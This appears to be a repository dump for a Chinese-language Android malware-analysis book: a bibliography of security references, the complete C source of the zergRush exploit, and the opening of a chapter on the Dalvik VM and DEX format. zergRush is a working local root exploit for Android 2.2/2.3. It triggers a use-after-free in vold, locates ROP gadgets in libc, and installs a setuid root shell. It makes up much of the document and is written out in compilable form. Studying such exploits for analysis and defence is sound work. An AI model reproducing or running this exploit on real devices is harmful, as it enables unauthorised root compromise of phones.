{Android-x86 - Porting Android to x86}, 66 | howpublished = {\url{http://www.android-x86.org/}} 67 | } 68 | 69 | @MISC{url:contagio, 70 | author = {contagio}, 71 | title = {contagio mobile malware mini dump}, 72 | howpublished = {\url{http://contagiominidump.blogspot.com}} 73 | } 74 | 75 | @MISC{url:ded, 76 | author = {{Damien Octeau, Patrick McDaniel, William Enck}}, 77 | title = {ded: Decompiling Android Applications}, 78 | howpublished = {\url{http://siis.cse.psu.edu/ded/}} 79 | } 80 | 81 | @MISC{url:androguard, 82 | author = {Anthony Desnos}, 83 | title = {androguard}, 84 | howpublished = {\url{http://code.google.com/p/androguard/}} 85 | } 86 | 87 | @MISC{url:android_adb, 88 | author = {Android Developers}, 89 | title = {Tools: Android Debug Bridge}, 90 | howpublished = {\url{http://developer.android.com/guide/developing/tools/adb.html}} 91 | } 92 | 93 | @MISC{url:android_android, 94 | author = {Android Developers}, 95 | title = {Tools: android}, 96 | howpublished = {\url{http://developer.android.com/guide/developing/tools/android.html}} 97 | } 98 | 99 | @MISC{url:android_emulator, 100 | author = {Android Developers}, 101 | title = {Tools: Android Emulator}, 102 | howpublished = {\url{http://developer.android.com/guide/developing/tools/emulator.html}} 103 | } 104 | 105 | @MISC{url:android_manifest, 106 | author = {Android Developers}, 107 | title = {The AndroidManifest.xml File}, 108 | howpublished = {\url{http://developer.android.com/guide/topics/manifest/manifest-intro.html}} 109 | } 110 | 111 | @MISC{url:android_using_emulator, 112 | author = {Android Developers}, 113 | title = {Managing Virtual Devices: Using the Android Emulator}, 114 | howpublished = {\url{http://developer.android.com/guide/developing/devices/emulator.html}} 115 | } 116 | 117 | @MISC{url:jd-gui, 118 | author = {Emmanuel Dupuy}, 119 | title = {Jd-gui}, 120 | howpublished = {\url{http://java.decompiler.free.fr/?q=jdgui}} 121 | } 122 | 123 | @BOOK{ida_pro, 124 | title = {The IDA Pro book}, 125 | publisher = {No Starch Press, Inc.}, 126 | year = {2011}, 127 | author = {Chris Eagle}, 128 | edition = {2nd} 129 | } 130 | 131 | @MISC{url:enck_seminar, 132 | author = {Enck, William}, 133 | title = {CSC591-006 - Smartphone OS Security}, 134 | howpublished = {\url{http://www.csc.ncsu.edu/faculty/enck/csc591-s12/index.html}}, 135 | year = {2012} 136 | } 137 | 138 | @MISC{url:psu_sectutor, 139 | author = {Enck, William and McDaniel, Patrick}, 140 | title = {Understanding Android's Security Framework}, 141 | howpublished = {\url{http://siis.cse.psu.edu/android_sec_tutorial.html}} 142 | } 143 | 144 | @MISC{url:sourcery, 145 | author = {Mentor Graphics}, 146 | title = {Sourcery CodeBench Lite Edition}, 147 | howpublished = {\url{http://www.mentor.com/embedded-software/sourcery-tools/sourcery-codebench/editions/lite-edition/}} 148 | } 149 | 150 | @TECHREPORT{dalvik_analysis, 151 | author = {Security Engineering Research Group}, 152 | title = {Analysis of Dalvik Virtual Machine and Class Path Library}, 153 | institution = {Institute of Management SciencesPeshawar, Pakistan}, 154 | year = {2009} 155 | } 156 | 157 | @BOOK{mobile_app_security, 158 | title = {Mobile Application Security}, 159 | publisher = {McGraw-Hill}, 160 | year = {2010}, 161 | author = {{Himanshu Dwivedi, Chris Clark, David Thiel}} 162 | } 163 | 164 | @BOOK{android_forensics, 165 | title = {Android Forensics: Investigation, Analysis and Mobile Security for 166 | Google Android}, 167 | publisher = {Syngress}, 168 | year = {2011}, 169 | author = {Andrew Hoog} 170 | } 171 | 172 | @MISC{url:debian_arm_qemu, 173 | author = {Aurélien Jarno}, 174 | title = {Debian on an emulated ARM machine}, 175 | howpublished = {\url{http://www.aurel32.net/info/debian_arm_qemu.php}} 176 | } 177 | 178 | @MISC{url:debian_img_arm, 179 | author = {Aurélien Jarno}, 180 | title = {Debian Lenny arm image for QEMU}, 181 | howpublished = {\url{http://people.debian.org/~aurel32/qemu/arm/}} 182 | } 183 | 184 | @MISC{url:debian_img_armel, 185 | author = {Aurélien Jarno}, 186 | title = {Debian Lenny and Squeeze armel images for QEMU}, 187 | howpublished = {\url{http://people.debian.org/~aurel32/qemu/armel/}} 188 | } 189 | 190 | @MISC{url:jasmin, 191 | author = {{Jonathan Meyer, Daniel Reynaud}}, 192 | title = {Jasmin}, 193 | howpublished = {\url{http://jasmin.sourceforge.net}} 194 | } 195 | 196 | @BOOK{mobile_malware, 197 | title = {Mobile Malware Attacks and Defense}, 198 | publisher = {Elsevier}, 199 | year = {2009}, 200 | author = {{Ken Dunham, et al}} 201 | } 202 | 203 | @MISC{url:securitycompass, 204 | author = {Security Compass Labs}, 205 | title = {New Mobile Security Course and ExploitMe Mobile}, 206 | howpublished = {\url{http://labs.securitycompass.com/mobile/23/}} 207 | } 208 | 209 | @MISC{url:dava, 210 | author = {{Laurie J. Hendren, et al}}, 211 | title = {Dava: A tool-independent decompiler for Java}, 212 | howpublished = {\url{http://www.sable.mcgill.ca/dava/}} 213 | } 214 | 215 | @MISC{url:androidcracking, 216 | author = {lohan+}, 217 | title = {android cracking}, 218 | howpublished = {\url{http://androidcracking.blogspot.com/}} 219 | } 220 | 221 | @CONFERENCE{arm_ropmap, 222 | author = {Long Le, Thanh Nguyen}, 223 | title = {ARM exploitation ROPmap}, 224 | booktitle = {Black Hat USA}, 225 | year = {2011} 226 | } 227 | 228 | @MISC{url:dedexer, 229 | author = {Gabor Paller}, 230 | title = {Dedexer}, 231 | howpublished = {\url{http://dedexer.sourceforge.net/}} 232 | } 233 | 234 | @MISC{url:radare, 235 | author = {{pancake. et al}}, 236 | title = {radare, the reverse engineering framework}, 237 | howpublished = {\url{http://www.radare.org/}} 238 | } 239 | 240 | @MISC{url:dex2jar, 241 | author = {Panxiaobo}, 242 | title = {dex2jar}, 243 | howpublished = {\url{http://code.google.com/p/dex2jar/}} 244 | } 245 | 246 | @MISC{url:undx, 247 | author = {Marc Sch\"{o}nefeld}, 248 | title = {undx}, 249 | howpublished = {\url{http://undx.sourceforge.net/}} 250 | } 251 | 252 | @CONFERENCE{dalvik_undx, 253 | author = {Marc Schönefeld}, 254 | title = {Reconstructing Dalvik applications}, 255 | booktitle = {CONFidence}, 256 | year = {2009} 257 | } 258 | 259 | @MISC{url:smiasm, 260 | author = {serpilliere}, 261 | title = {smiasm}, 262 | howpublished = {\url{http://code.google.com/p/smiasm/}} 263 | } 264 | 265 | @BOOK{android_app_security, 266 | title = {Application Security for the Android Platform}, 267 | publisher = {O'Reilly}, 268 | year = {2012}, 269 | author = {Jeff Six} 270 | } 271 | 272 | @MISC{url:android4me, 273 | author = {Dmitry Skiba}, 274 | title = {android4me}, 275 | howpublished = {\url{http://code.google.com/p/android4me/}} 276 | } 277 | 278 | @MISC{url:xmlpull, 279 | author = {Aleksander Slominski}, 280 | title = {XML Pull Parsing}, 281 | howpublished = {\url{http://www.xmlpull.org/}} 282 | } 283 | 284 | @BOOK{art_virus, 285 | title = {The Art of Computer Virus Research and Defense}, 286 | publisher = {Addison-Wesley}, 287 | year = {2005}, 288 | author = {Peter Szor} 289 | } 290 | 291 | @MISC{url:jad, 292 | author = {Tomas Varaneckas}, 293 | title = {Jad}, 294 | howpublished = {\url{http://www.varaneckas.com/jad}} 295 | } 296 | 297 | @MISC{url:dex-decomplier, 298 | author = {wendal1985}, 299 | title = {dex-decomplier}, 300 | howpublished = {\url{http://code.google.com/p/dex-decomplier/}} 301 | } 302 | 303 | @MISC{url:zip_format, 304 | author = {Wikipedia}, 305 | title = {Zip (file format)}, 306 | howpublished = {\url{http://en.wikipedia.org/wiki/ZIP_(file_format)}} 307 | } 308 | 309 | @MISC{url:androidaudittools, 310 | author = {wuntee}, 311 | title = {androidAuditTools}, 312 | howpublished = {\url{https://github.com/wuntee/androidAuditTools}} 313 | } 314 | 315 | @ARTICLE{arm_alphanumeric, 316 | author = {YYounan, PPhilippaerts}, 317 | title = {Alphanumeric RISC ARM Shellcode}, 318 | journal = {Phrack Magazine}, 319 | year = {2009}, 320 | volume = {13}, 321 | number = {66} 322 | } 323 | 324 | @BOOK{android_jishuneimu, 325 | title = {Android技术内幕:系统卷}, 326 | publisher = {机械工业出版社}, 327 | year = {2011}, 328 | author = {杨丰盛} 329 | } 330 | 331 | @BOOK{android_neihepouxi, 332 | title = {Android内核剖析}, 333 | publisher = {电子工业出版社}, 334 | year = {2011}, 335 | author = {柯元旦} 336 | } 337 | 338 | @BOOK{android_shenrulijie, 339 | title = {深入理解Android:卷I}, 340 | publisher = {机械工业出版社}, 341 | year = {2011}, 342 | author = {邓凡平} 343 | } 344 | 345 | @MISC{url:android_dev, 346 | title = {Android Developers}, 347 | howpublished = {\url{http://developer.android.com}} 348 | } 349 | 350 | @MISC{url:angstrom, 351 | title = {{The {\AA}ngstr{\"o}m Distribution}}, 352 | howpublished = {\url{http://www.angstrom-distribution.org/}} 353 | } 354 | 355 | @MISC{url:blackhat, 356 | title = {black hat multimedia archives}, 357 | howpublished = {\url{https://www.blackhat.com/html/archives.html}} 358 | } 359 | 360 | @MISC{url:blog_gliethttp, 361 | title = {gliethttp}, 362 | howpublished = {\url{http://gliethttp.blog.chinaunix.net}} 363 | } 364 | 365 | @MISC{url:group_mobilemalware, 366 | title = {mobile.malware group}, 367 | howpublished = {\url{http://groups.google.com/group/mobilemalware}} 368 | } 369 | 370 | @MISC{url:openssl, 371 | title = {OpenSSL}, 372 | howpublished = {\url{http://www.openssl.org/}} 373 | } 374 | 375 | @MISC{url:seandroid, 376 | title = {SEAndroid}, 377 | howpublished = {\url{http://selinuxproject.org/page/SEAndroid}} 378 | } 379 | 380 | @MISC{url:viaforensics, 381 | title = {viaforensics}, 382 | howpublished = {\url{http://viaforensics.com/}} 383 | } 384 | 385 | @MISC{url:vx_heavens, 386 | title = {VX Heavens}, 387 | howpublished = {\url{http://vx.netlux.org}} 388 | } 389 | 390 | @MISC{url:wireshark, 391 | title = {Wireshark}, 392 | howpublished = {\url{http://www.wireshark.org/}} 393 | } 394 | 395 | @MISC{url:xda, 396 | title = {XDA Developers Forum}, 397 | howpublished = {\url{http://forum.xda-developers.com/}} 398 | } 399 | 400 | @comment{jabref-meta: selector_publisher:} 401 | 402 | @comment{jabref-meta: selector_author:} 403 | 404 | @comment{jabref-meta: selector_journal:} 405 | 406 | @comment{jabref-meta: selector_keywords:} 407 | 408 | -------------------------------------------------------------------------------- /code/zergRush.c: -------------------------------------------------------------------------------- 1 | /* android 2.2/2.3 libsysutils root exploit use-after-free 2 | * 3 | * Exploited by rewriting a FrameworkCommand object making the runCommand 4 | * point to our first ROP gadget. 5 | * 6 | * Copyright (c) 2011, The Revolutionary development team. 7 | * 8 | * Before using, insert empty formatted sdcard. USE IT AT YOUR OWN RISK, 9 | * THIS PROGRAM MIGHT NOT WORK OR MAKES YOUR DEVICE USELESS/BRICKED. SO BE 10 | * WARNED! I AM NOT RESPONSIBLE FOR ANY DAMAGE IT MIGHT CAUSE! 11 | * 12 | * It only works if called from adb shell since we need group log. 13 | * 14 | * Compile: 15 | * agcc zergRush.c -o zergRush -ldiskconfig -lcutils 16 | * 17 | */ 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | #include 34 | 35 | #include 36 | 37 | #include 38 | #include 39 | #include 40 | 41 | static pid_t logcat_pid = 0; 42 | static char *sh = "/data/local/tmp/sh"; 43 | static char *bsh = "/data/local/tmp/boomsh"; 44 | static char *crashlog = "/data/local/tmp/crashlog"; 45 | static char *vold = "/system/bin/vold"; 46 | 47 | uint32_t heap_addr; 48 | uint32_t stack_addr = 0x41414141; 49 | uint32_t system_ptr = 0; 50 | uint32_t stack_pivot = 0x41414141; 51 | uint32_t pop_r0 = 0x41414141; 52 | uint32_t jumpsz = 0; 53 | uint32_t gadget_jumpsz = 108; 54 | uint32_t buffsz = 0; 55 | uint32_t allbuffsz[] = {16,24,0}; 56 | 57 | extern char **environ; 58 | 59 | 60 | static void die(const char *msg) 61 | { 62 | perror(msg); 63 | exit(errno); 64 | } 65 | 66 | 67 | static int copy(const char *from, const char *to) 68 | { 69 | int fd1, fd2; 70 | char buf[0x1000]; 71 | int r = 0; 72 | 73 | if ((fd1 = open(from, O_RDONLY)) < 0) 74 | return -1; 75 | if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) { 76 | close(fd1); 77 | return -1; 78 | } 79 | 80 | for (;;) { 81 | r = read(fd1, buf, sizeof(buf)); 82 | if (r <= 0) 83 | break; 84 | if (write(fd2, buf, r) != r) 85 | break; 86 | } 87 | 88 | close(fd1); 89 | close(fd2); 90 | sync(); sync(); 91 | return r; 92 | } 93 | 94 | 95 | static int remount_data(const char *mntpoint) 96 | { 97 | FILE *f = NULL; 98 | int found = 0; 99 | char buf[1024], *dev = NULL, *fstype = NULL; 100 | 101 | if ((f = fopen("/proc/mounts", "r")) == NULL) 102 | return -1; 103 | 104 | memset(buf, 0, sizeof(buf)); 105 | for (;!feof(f);) { 106 | if (fgets(buf, sizeof(buf), f) == NULL) 107 | break; 108 | if (strstr(buf, mntpoint)) { 109 | found = 1; 110 | break; 111 | } 112 | } 113 | fclose(f); 114 | if (!found) 115 | return -1; 116 | if ((dev = strtok(buf, " \t")) == NULL) 117 | return -1; 118 | if (strtok(NULL, " \t") == NULL) 119 | return -1; 120 | if ((fstype = strtok(NULL, " \t")) == NULL) 121 | return -1; 122 | return mount(dev, mntpoint, fstype, MS_REMOUNT, 0); 123 | } 124 | 125 | 126 | static void *find_symbol(char *sym) 127 | { 128 | void *r = NULL; 129 | void *dlh = dlopen("/system/libc/libc.so", RTLD_NOW); 130 | 131 | if (!dlh) 132 | die("[-] dlopen"); 133 | if ((r = (void *)dlsym(dlh, sym)) == NULL) 134 | die("[-] dlsym"); 135 | dlclose(dlh); 136 | return r; 137 | } 138 | 139 | 140 | static int check_addr(uint32_t addr) 141 | { 142 | /* 143 | * Check if address contains one of the forbidden bytes 144 | */ 145 | int i = 0; 146 | 147 | for(i=0; i<32; i+=8) { 148 | switch((addr>>i) & 0xff) { 149 | case 0x20: 150 | case 0x22: 151 | case 0x5c: 152 | return -1; 153 | break; 154 | default: 155 | break; 156 | } 157 | } 158 | 159 | return 0; 160 | } 161 | 162 | 163 | static int do_fault() 164 | { 165 | char buf[255]; 166 | int sock = -1, n = 0, i; 167 | char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5]; 168 | uint32_t bsh_addr; 169 | char padding[128]; 170 | int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz); 171 | 172 | memset(padding, 0, 128); 173 | strcpy(padding, "LORDZZZZzzzz"); 174 | if(padding_sz > 0) { 175 | memset(padding+12, 'Z', padding_sz); 176 | printf("[*] Poping %d more zerglings\n", padding_sz); 177 | } 178 | else if(padding_sz < 0) { 179 | memset(padding, 0, 128); 180 | memset(padding, 'Z', 12+padding_sz); 181 | } 182 | 183 | if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0) 184 | die("[-] Error creating Nydus"); 185 | 186 | sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff); 187 | sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff); 188 | sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff); 189 | sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff); 190 | sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff); 191 | 192 | strcpy(buf, "ZERG"); 193 | strcat(buf, " ZZ "); 194 | strcat(buf, s_stack_pivot_addr); 195 | for(i=3; i < buffsz+1; i++) 196 | strcat(buf, " ZZZZ"); 197 | strcat(buf, " "); 198 | strcat(buf, s_heap_addr); 199 | 200 | n = strlen(buf); 201 | bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4; 202 | 203 | if(check_addr(bsh_addr) == -1) { 204 | printf("[-] Colossus, we're doomed!\n"); 205 | exit(-1); 206 | } 207 | 208 | sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff); 209 | 210 | n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0); 211 | 212 | printf("[*] Sending %d zerglings ...\n", n); 213 | 214 | if ((n = write(sock, buf, n+1)) < 0) 215 | die("[-] Nydus seems broken"); 216 | 217 | sleep(3); 218 | close(sock); 219 | 220 | return n; 221 | } 222 | 223 | 224 | static int find_rop_gadgets() 225 | { 226 | /* 227 | * add sp, #108 -> b01b 228 | * pop {r4, r5, r6, r7, pc} -> bdf0 229 | * 230 | * pop {r0, pc} -> bd01 231 | */ 232 | int fd; 233 | char r[2], d[2]; 234 | int n = 2; 235 | int bad = 0; 236 | 237 | if((fd=open("/system/lib/libc.so", O_RDONLY)) == -1) 238 | die("[-] open"); 239 | 240 | lseek(fd, 0x10000, SEEK_SET); 241 | 242 | while(n == 2 && (stack_pivot == 0x41414141 || pop_r0 == 0x41414141)) { 243 | n = read(fd, r, 2); 244 | switch(r[0]) { 245 | case '\x1b': 246 | if(r[1] == '\xb0') { 247 | n = read(fd, d, 2); 248 | if(d[0] == '\xf0' && d[1] == '\xbd') { 249 | stack_pivot = 0xafd00000 + lseek(fd, 0, SEEK_CUR) - 4 + 1; 250 | if(check_addr(stack_pivot) == -1) 251 | stack_pivot = 0x41414141; 252 | } 253 | } 254 | break; 255 | case '\x01': 256 | if(r[1] == '\xbd') { 257 | pop_r0 = 0xafd00000 + lseek(fd, 0, SEEK_CUR) - 2 + 1; 258 | if(check_addr(pop_r0) == -1) 259 | pop_r0 = 0x41414141; 260 | } 261 | break; 262 | default: 263 | break; 264 | } 265 | } 266 | 267 | if (stack_pivot == 0x41414141) { 268 | printf("[-] You need more minerals !\n"); 269 | bad = -1; 270 | } 271 | 272 | if (pop_r0 == 0x41414141) { 273 | printf("[-] You need more vespene gas !\n"); 274 | bad = -1; 275 | } 276 | 277 | if(bad == -1) 278 | exit(-1); 279 | 280 | return 0; 281 | } 282 | 283 | 284 | static uint32_t checkcrash() 285 | { 286 | uint32_t fault_addr = 0; 287 | char buf[1024], *ptr = NULL; 288 | FILE *f = NULL; 289 | long pos = 0; 290 | uint32_t sp=0, over=0; 291 | 292 | system("/system/bin/logcat -c"); 293 | unlink(crashlog); 294 | 295 | if ((logcat_pid = fork()) == 0) { 296 | char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; 297 | execve(*a, a, environ); 298 | exit(1); 299 | } 300 | sleep(3); 301 | 302 | if (do_fault() < 0) 303 | die("[-] Zerglings did not cause crash"); 304 | /* Give logcat time to write to file 305 | */ 306 | sleep(3); 307 | if ((f = fopen(crashlog, "r")) == NULL) 308 | die("[-] Zerglings did not leave stuff at all"); 309 | fseek(f, pos, SEEK_SET); 310 | do { 311 | memset(buf, 0, sizeof(buf)); 312 | if (!fgets(buf, sizeof(buf), f)) 313 | break; 314 | if ((ptr = strstr(buf, " sp ")) != NULL && !sp) 315 | return 1; 316 | } while (!feof(f)); 317 | pos = ftell(f); 318 | fclose(f); 319 | 320 | return 0; 321 | } 322 | 323 | 324 | static uint32_t find_stack_addr() 325 | { 326 | uint32_t fault_addr = 0; 327 | char buf[1024], *ptr = NULL; 328 | FILE *f = NULL; 329 | long pos = 0; 330 | uint32_t sp=0, over=0; 331 | 332 | system("/system/bin/logcat -c"); 333 | unlink(crashlog); 334 | 335 | if ((logcat_pid = fork()) == 0) { 336 | char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; 337 | execve(*a, a, environ); 338 | exit(1); 339 | } 340 | sleep(3); 341 | 342 | if (do_fault() < 0) 343 | die("[-] Zerglings did not cause crash"); 344 | /* Give logcat time to write to file 345 | */ 346 | sleep(3); 347 | if ((f = fopen(crashlog, "r")) == NULL) 348 | die("[-] Zerglings did not leave stuff at all"); 349 | fseek(f, pos, SEEK_SET); 350 | do { 351 | memset(buf, 0, sizeof(buf)); 352 | if (!fgets(buf, sizeof(buf), f)) 353 | break; 354 | if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) { 355 | ptr -= 8; 356 | stack_addr = (uint32_t)strtoul(ptr, NULL, 16); 357 | } 358 | else if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { 359 | ptr -= 8; 360 | over = (uint32_t)strtoul(ptr, NULL, 16); 361 | } 362 | else if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { 363 | ptr += 5; 364 | sp = (uint32_t)strtoul(ptr, NULL, 16); 365 | } 366 | } while (!feof(f)); 367 | pos = ftell(f); 368 | fclose(f); 369 | 370 | if(over && sp) 371 | jumpsz = over - sp; 372 | 373 | return stack_addr; 374 | } 375 | 376 | 377 | static void do_root() 378 | { 379 | remount_data("/data"); 380 | chown(sh, 0, 0); 381 | chmod(sh, 04711); 382 | property_set("ro.kernel.qemu","1"); 383 | exit(0); 384 | } 385 | 386 | 387 | int main(int argc, char **argv, char **env) 388 | { 389 | uint32_t i = 0, ok = 0; 390 | char *ash[] = {sh, 0}; 391 | struct stat st; 392 | char version_release[256]; 393 | int tries=0; 394 | 395 | if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) 396 | do_root(); 397 | 398 | printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); 399 | printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); 400 | printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); 401 | 402 | if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) 403 | die("[-] Cannot copy boomsh."); 404 | 405 | chmod(bsh, 0711); 406 | 407 | stat(vold, &st); 408 | heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 409 | 410 | __system_property_get("ro.build.version.release", version_release); 411 | 412 | if (strstr(version_release, "2.2")) { 413 | heap_addr += 0x108; 414 | printf("[+] Found a Froyo ! 0x%08x\n", heap_addr); 415 | } else if (strstr(version_release, "2.3")) { 416 | heap_addr += 0x118; 417 | printf("[+] Found a GingerBread ! 0x%08x\n", heap_addr); 418 | } else { 419 | printf("[-] Not a 2.2/2.3 Android ...\n"); 420 | exit(-1); 421 | } 422 | 423 | system_ptr = (uint32_t) find_symbol("system"); 424 | 425 | if (check_addr(system_ptr) == -1) { 426 | printf("[-] High templars, we're doomed!\n"); 427 | exit(-1); 428 | } 429 | 430 | tries = 0; 431 | printf("[*] Scooting ...\n"); 432 | while(buffsz=allbuffsz[tries]) { 433 | if(checkcrash()) { 434 | printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); 435 | break; 436 | } 437 | tries++; 438 | } 439 | 440 | if(!buffsz) { 441 | printf("[-] Hellions with BLUE flames !\n"); 442 | exit(-1); 443 | } 444 | 445 | for (tries = 0; tries < 5; tries++) { 446 | find_stack_addr(); 447 | 448 | if (stack_addr != 0x41414141 && jumpsz) { 449 | printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); 450 | break; 451 | } 452 | 453 | printf("[*] Trying a new path ...\n"); 454 | switch(tries) { 455 | case 0: 456 | case 2: 457 | case 4: 458 | heap_addr += 8; 459 | break; 460 | case 1: 461 | heap_addr += 0xb8; 462 | break; 463 | case 3: 464 | heap_addr -= 0x180; 465 | break; 466 | default: 467 | break; 468 | } 469 | } 470 | 471 | if (stack_addr == 0x41414141 || !jumpsz) { 472 | printf("[-] Zerglings did not leave interesting stuff\n"); 473 | exit(-1); 474 | } 475 | 476 | if (check_addr(stack_addr) == -1) { 477 | printf("[-] Siege tanks, we're doomed!\n"); 478 | exit(-1); 479 | } 480 | 481 | if (jumpsz > 108 + 12) { 482 | printf("[-] This terran has walled!\n"); 483 | exit(-1); 484 | } 485 | 486 | kill(logcat_pid, SIGKILL); 487 | unlink(crashlog); 488 | 489 | printf("[*] Researching Metabolic Boost ...\n"); 490 | find_rop_gadgets(); 491 | printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); 492 | 493 | for(i=0; i<3; i++) { 494 | do_fault(); 495 | 496 | stat(sh, &st); 497 | if ((st.st_mode & 04000) == 04000) { 498 | printf("\n[+] Rush did it ! It's a GG, man !\n"); 499 | ok = 1; 500 | break; 501 | } else { 502 | printf("\n[-] Bad luck, our rush did not succeed :( (%d/%d)\n", i, 2); 503 | switch(i) { 504 | case 0: 505 | heap_addr += 16; 506 | break; 507 | case 1: 508 | heap_addr -=32; 509 | break; 510 | default: 511 | break; 512 | } 513 | } 514 | } 515 | 516 | if (ok) { 517 | char qemuprop[1]; 518 | property_get("ro.kernel.qemu",qemuprop,"0"); 519 | 520 | if (qemuprop[0]=='1') { 521 | printf("[+] Killing ADB and restarting as root... enjoy!\n"); 522 | fflush(stdout); 523 | sleep(1); 524 | kill(-1,SIGTERM); 525 | } else { 526 | printf("[-] Failed to set property to restart adb. Not killing.\n"); 527 | } 528 | } else { 529 | printf("Exiting. Try again later.\n"); 530 | fflush(stdout); 531 | sleep(1); 532 | kill(-1,SIGTERM); 533 | } 534 | 535 | return 0; 536 | } 537 | 538 | -------------------------------------------------------------------------------- /chapter-cn/dalvik.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{Dalvik虚拟机} 3 | \label{Chap:dalvik} 4 | Dalvik是专为Android设计的一种类JVM虚拟机,是Android应用程序的实际运行平台。从恶意代码分析的角度,Dalvik上DEX文件格式的重要性,相当于Windows上PE文件格式;Dalvik指令集的重要性,相当于PC上x86指令集的重要性。在静态分析中,分析人员有一半以上的时间是在与Dalvik指令打交道;在动态分析中,绝大部分时候没有恶意代码源码,也会涉及Dalvik级的调试;如果要将一些分析工作自动化,或展开一些研究,就不得不进行DEX格式的解析。 5 | 6 | \section{设计思想} 7 | JVM是一个已经设计成熟并被实践检验过的成熟的虚拟机。但在Android这样的移动平台,存在CPU性能较低、可用内存极少、电力由电池供应、没有交换空间等限制,直接使用JVM运行复杂的应用程序较为困难。此外,使用JVM还存在许可的问题。因此,Dan Bornstein设计并实现了Dalvik虚拟(名字来源于冰岛的一个小渔村)。 8 | 9 | 从虚拟级别上来说,Dalvik是一个进程级的虚拟机,提供普通应用程序的运行环境,像Java语言的JVM、.NET平台的CLR一样。从体系结构来看,Dalvik是一个基于寄存器的虚拟机。 10 | 11 | 与JVM这种基于栈的虚拟机相比,基于寄存器的虚拟机在对相同应用程序的执行上快三分之一,还能从流水线型处理器获得额外的性能提升,并有更快的加载速度和更好的容错性\cite{dalvik_analysis}。 12 | 13 | Dalvik运行于其底层的Linux进程中,执行DEX格式文件中的Dalvik指令。通过一些库(zlib、Java核心库、openssl等)实现功能和对系统的调用,通过JNI规范调用本地代码执行。Dalvik利用Linux进程的用户ID来管理文件访问权限,并实现内存隔离,通过Linux进程间通信在应用程序之间共享数据。 14 | \section{DEX文件格式} 15 | \subsection{类型描述符} 16 | \label{SubSec:dalvik_data_type} 17 | DEX格式中,使用缩略符号表示数据类型,如下表所示: 18 | 19 | \begin{table}[htbp] 20 | \caption{Dalvik数据类型描述符} 21 | \label{Fig:dalvik_type} 22 | \centering 23 | \begin{tabular}{ll} 24 | \toprule 25 | \textbf{句法} & \textbf{含义} \\ 26 | \midrule 27 | \lstinline!V! & \lstinline!void!,只能用于返回值 \\ 28 | \lstinline!Z! & \lstinline!boolean! \\ 29 | \lstinline!B! & \lstinline!byte! \\ 30 | \lstinline!S! & \lstinline!short! \\ 31 | \lstinline!C! & \lstinline!char! \\ 32 | \lstinline!I! & \lstinline!int! \\ 33 | \lstinline!J! & \lstinline!long! \\ 34 | \lstinline!F! & \lstinline!float! \\ 35 | \lstinline!D! & \lstinline!double! \\ 36 | \lstinline!Lfully/qualified/Name;! & \lstinline!fully/qualified/Name!类 \\ 37 | \lstinline![descriptor! & \lstinline!descriptor!类型的数组 \\ 38 | \bottomrule 39 | \end{tabular} 40 | \end{table} 41 | 42 | 例如,\lstinline![Ljava/lang/String;!表示\lstinline!String[]!。 43 | 44 | \section{ODEX文件格式} 45 | \label{Sec:odex} 46 | 47 | \section{指令集} 48 | 关于Dalvik指令集的主要参考文档是Android源码的dalvik/docs/dalvik-bytecode.html文件。本节的主要内容来自于该文档。 49 | 50 | 指令集的设计是一门艺术。从分析人员的角度考虑,不需要了解其中诸多细节。下面是指令集中为了便于人阅读的一些语法规则: 51 | \begin{itemize} 52 | \item 两个操作数,前面是目的寄存器,后面是源寄存器 53 | \item 一般类型的64位opcode在32位opcode基础上加\lstinline!-wide!后缀;特殊类型opcode在一般类型opcode基础上加类型后缀,例如\lstinline!-char!、\lstinline!-int!、\lstinline!-long!、\lstinline!-float!、\lstinline!-string!、\lstinline!-object!等 54 | \item 对不是32位或64位操作的opcode,还加上特定后缀以说明其操作位数,例如\lstinline!/8!表示8位操作,\lstinline!/16!表示16位操作 55 | \end{itemize} 56 | 例如,对指令\lstinline!move-wide/from16 vAA, vBBBB!,其中字段含义如下: 57 | \begin{itemize} 58 | \item[move] 